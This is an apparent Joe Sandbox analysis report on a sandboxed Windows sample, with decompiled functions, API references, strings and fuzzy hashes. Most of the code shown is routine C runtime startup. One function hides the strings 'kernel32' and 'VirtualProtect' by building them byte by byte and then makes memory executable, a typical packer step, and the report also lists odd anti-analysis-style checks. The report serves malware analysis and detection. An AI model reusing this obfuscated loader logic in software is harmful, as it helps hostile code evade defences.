0x0041bc01
0x0041bc0f
0x0041bc0f
0x0041b94d
0x0041b953
0x0041b958
0x00000000
0x00000000
0x0041b95e
0x0041b997
0x0041b99f
0x0041b9a2
0x0041b9a4
0x0041b9a4
0x0041b9a5
0x00000000
0x0041b9a5
0x0041b963
0x0041b980
0x0041b982
0x0041b982
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041B8CA
__heap_alloc_base.LIBCMTD ref: 0041BA51
_memset.LIBCMT ref: 0041BB99
_memset.LIBCMT ref: 0041BBB6
_memset.LIBCMT ref: 0041BBD1

Strings

Client hook allocation failure., xrefs: 0041B985
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041B8DF
Error: memory allocation: bad memory block type., xrefs: 0041BA24
Client hook allocation failure at file %hs line %d., xrefs: 0041B968
_CrtCheckMemory(), xrefs: 0041B8D3
Invalid allocation size: %Iu bytes., xrefs: 0041B9D3

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction ID: 59ab4e8923645ae74ccd238940f62ef4eb8491eb764a81e58e24dce490277006
Opcode Fuzzy Hash: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction Fuzzy Hash: BBA18EB4A042089FDB14CF54D995BEA77F1FB48304F20825AEA146B3D1C779AD81CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B545, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B545() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B6E0();
				_t21 = E00428E70(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B6B0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424660(_t46); // executed
				if(_t22 == 0) {
					E0041B6B0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041D9B0(_t46);
				_t62 = _t61 + 4;
				E00428DF0();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426A20(); // executed
				if(_t25 < 0) {
					L00425F60(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x55c984 = E00428DE0();
				 *0x55abfc = E00428D30(_t44, _t54, _t56);
				if(E00428940() < 0) {
					L00425F60(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004287A0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00425F60(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425E40(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00425F60(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428700();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419D77( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00425EE0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00425F20();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b545
0x0041b551
0x0041b556
0x0041b55b
0x0041b560
0x0041b564
0x0041b569
0x0041b569
0x0041b56c
0x0041b573
0x0041b577
0x0041b57c
0x0041b57c
0x0041b57f
0x0041b581
0x0041b586
0x0041b589
0x0041b58e
0x0041b595
0x0041b59c
0x0041b5a0
0x0041b5a5
0x0041b5a5
0x0041b5ad
0x0041b5b7
0x0041b5c3
0x0041b5c7
0x0041b5cc
0x0041b5cc
0x0041b5cf
0x0041b5d6
0x0041b5da
0x0041b5df
0x0041b5df
0x0041b5e4
0x0041b5ec
0x0041b5f3
0x0041b5f9
0x0041b5fe
0x0041b606
0x0041b60f
0x0041b61a
0x0041b611
0x0041b615
0x0041b615
0x0041b635
0x0041b63c
0x0041b642
0x0041b642
0x0041b647
0x0041b64c
0x0041b694
0x0041b69a
0x0041b6a8

APIs

_check_managed_app.LIBCMTD ref: 0041B54C
__heap_init.LIBCMTD ref: 0041B556

Part of subcall function 00428E70: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B55B,00000001), ref: 00428E86

_fast_error_exit.LIBCMTD ref: 0041B564

Part of subcall function 0041B6B0: ___crtExitProcess.LIBCMTD ref: 0041B6D4

_fast_error_exit.LIBCMTD ref: 0041B577
__RTC_Initialize.LIBCMTD ref: 0041B589
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B5B2
___wsetargv.LIBCMTD ref: 0041B5BC
__wsetenvp.LIBCMTD ref: 0041B5CF
__cinit.LIBCMTD ref: 0041B5E4
__wwincmdln.LIBCMTD ref: 0041B601

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction ID: b247c6199803e7cc7adcb51ae21cb4092f4666c70eb6aa11211faac377ccf580
Opcode Fuzzy Hash: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction Fuzzy Hash: A33174B1F017149AEB10BBB2B9027AE7664EF6430CF50002EE4155B282EB795944CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00426A20, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426A20() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43dd90);
				_push(E0041E690);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0x7223ce7a
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BCE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x55b840 = _v128;
					 *0x55b82c = 0x20;
					while(_v128 <  *0x55b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x55b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C040( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x55b82c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x55b82c < _v116) {
							_t209 = L0041BCE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x55b840 + _v104 * 4)) = _v128;
								 *0x55b82c =  *0x55b82c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x55b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x55b82c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C040( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426a25
0x00426a27
0x00426a2c
0x00426a37
0x00426a38
0x00426a3e
0x00426a43
0x00426a48
0x00426a4c
0x00426a52
0x00426a55
0x00426a60
0x00426a66
0x00426aab
0x00426ab0
0x00426ab3
0x00426aba
0x00426ac7
0x00426acd
0x00426ae2
0x00426af4
0x00426afb
0x00426b04
0x00426b0b
0x00426b1d
0x00426b2b
0x00426b31
0x00426b38
0x00426b3f
0x00426b49
0x00426adf
0x00426adf
0x00426b55
0x00426d53
0x00426d53
0x00426d65
0x00426d7b
0x00426d84
0x00426d95
0x00426d9d
0x00426db3
0x00426db8
0x00426d9f
0x00426d9f
0x00426d9f
0x00426dcb
0x00426dd2
0x00426e69
0x00426e76
0x00426e7c
0x00000000
0x00426de2
0x00426dec
0x00426df3
0x00000000
0x00426df5
0x00426dfb
0x00426e09
0x00426e29
0x00426e38
0x00426e38
0x00426e0b
0x00426e18
0x00426e18
0x00426e47
0x00426e4c
0x00426e51
0x00426e64
0x00426e82
0x00000000
0x00426e53
0x00426e53
0x00426e53
0x00426e51
0x00426df3
0x00426e84
0x00426e93
0x00426e96
0x00426d62
0x00000000
0x00426d62
0x00000000
0x00426d84
0x00426ea2
0x00426ea8
0x00426b65
0x00426b6a
0x00426b73
0x00426b7c
0x00426b86
0x00426b93
0x00426b88
0x00426b8b
0x00426b8b
0x00426ba3
0x00426ba6
0x00426bb8
0x00426bd7
0x00426bdc
0x00426bdf
0x00426be6
0x00426bfb
0x00426c0a
0x00426c1a
0x00426c31
0x00426c38
0x00426c41
0x00426c48
0x00426c5a
0x00426c60
0x00426c67
0x00426c6e
0x00426c78
0x00426c17
0x00426c17
0x00426bb5
0x00000000
0x00426be8
0x00426bed
0x00426bed
0x00000000
0x00426be6
0x00426c83
0x00426ca7
0x00426cb9
0x00426d4e
0x00426c92
0x00426c9b
0x00426ca4
0x00000000
0x00426cf1
0x00426d07
0x00426d12
0x00426d1c
0x00426d2b
0x00426d30
0x00426d35
0x00426d4b
0x00000000
0x00426d37
0x00426d37
0x00426d37
0x00426d35
0x00000000
0x00426cb9
0x00000000
0x00426ca7
0x00426abc
0x00426abc
0x00426abc
0x00426eaa
0x00426ead
0x00426ebb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426A60
GetFileType.KERNEL32(?), ref: 00426CE7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426AA0, 00426BCC

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: 9d80ae242ff0df137240c5c1083dc120ddf4681aa67fad96c8dc29c1b4856ec4
Instruction ID: f9db58c3bf68d5eb058a1fce56494319b5a59fc07956ecd6cc2e025d1717e74a
Opcode Fuzzy Hash: 9d80ae242ff0df137240c5c1083dc120ddf4681aa67fad96c8dc29c1b4856ec4
Instruction Fuzzy Hash: 88E14874E00258CFDB24CFA8D894BADFBB1BB49304F65825ED8256B392C734A842CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00570420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00570533

Strings

saodkfnosa9uin, xrefs: 005704DA
0, xrefs: 00570492
d, xrefs: 00570584
mfoaskdfnoa, xrefs: 00570520, 00570523

Memory Dump Source

Source File: 00000015.00000002.390319099.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_570000_8939.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afcc24ee26740f915b68ef4632c6671afe8dec894add327fb0abb1c8be4792a8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B2510970D08388DAEB11CB98D849BDDBFF26F11708F144058D5486F2C6C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC1E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BC1E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E220();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x55ada0; // 0x0
					_t28 = L0041B7F0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B3B0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422D10(_t36))) = 0xc;
					E00422AA0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bc1e
0x0041bc1e
0x0041bc1e
0x0041bc1e
0x0041bc2b
0x0041bc2d
0x0041bc30
0x0041bc33
0x0041bc35
0x0041bc3a
0x0041bc3c
0x0041bc41
0x0041bc46
0x0041bc48
0x0041bc4d
0x0041bc53
0x0041bc55
0x0041bc55
0x0041bc53
0x0041bc5a
0x0041bc90
0x0041bca3
0x0041bcae
0x0041bcb6
0x0041bcbd
0x0041bcc9
0x0041bcce
0x0041bcd1
0x0041bc5c
0x0041bc61
0x0041bc7d
0x0041bc85
0x0041bc85
0x0041bcd7

APIs

__invalid_parameter.LIBCMTD ref: 0041BC7D
_memset.LIBCMT ref: 0041BCC9

Strings

_calloc_dbg_impl, xrefs: 0041BC73
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BC41, 0041BC6E
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BC35, 0041BC78

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction ID: 12a3eef2383cda8c862d57c3a82d02e0c06e40d2ecee9589a9ebf1c1f5bee6db
Opcode Fuzzy Hash: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction Fuzzy Hash: 0B11B6B5A40208BBDB00DF94DD46F9E3364EB58704F20855EF908AB2C1E7B8EA5087D8

Uniqueness

Uniqueness Score: -1.00%

Function 00419A26, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419A26(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419a27
0x00419a2c
0x00419a33
0x00419a3a
0x00419a41
0x00419a48
0x00419a4f
0x00419a56
0x00419a5d
0x00419a64
0x00419a6b
0x00419a72
0x00419a79
0x00419a7c
0x00419a7e
0x00419a80
0x00419a87
0x00419a8d
0x00419a9e
0x00419aab
0x00419ab2
0x00419ab9
0x00419ac0
0x00419ac7
0x00419ace
0x00419ad5
0x00419adc
0x00419ae3
0x00419aea
0x00419af1
0x00419af8
0x00419aff
0x00419b06
0x00419b0d

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419A87
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419B06

Strings

VirtualProtect, xrefs: 00419A27

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 005705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005705EC

Strings

o, xrefs: 00570600
apfHQ, xrefs: 005705E2, 005705E5

Memory Dump Source

Source File: 00000015.00000002.390319099.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_570000_8939.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5d20a7744bc3e6423822e5bde09c9cc381b2fc476a90569757841db8b835092e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 23011E70C0424CEADF10DB98D5587AEBFF5AF41308F148099C4092B282D7769B59DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B80F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B80F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E004291F0(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B860( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b80f
0x0041b80f
0x0041b80f
0x0041b812
0x0041b819
0x00000000
0x00000000
0x0041b820
0x0041b824
0x0041b834
0x0041b842
0x0041b851
0x0041b7f6
0x0041b80a
0x00000000
0x0041b844
0x0041b844
0x0041b847
0x0041b84d
0x0041b84d
0x0041b826
0x0041b826
0x0041b829
0x0041b82f
0x0041b82f
0x0041b853
0x0041b856
0x00000000
0x0041b856
0x0041b81b
0x0041b81b
0x00000000

Strings

QQ, xrefs: 0041B809

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: f9de4886fb60cd2048d01055faf979a24cd999a4b41a8caced7a22087bbb633e
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: F501FBB5A00109EBDB04EF95D984BEB73B8EB48704F10815AFC1A87240D338DA92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00419A7C, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419A7C(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
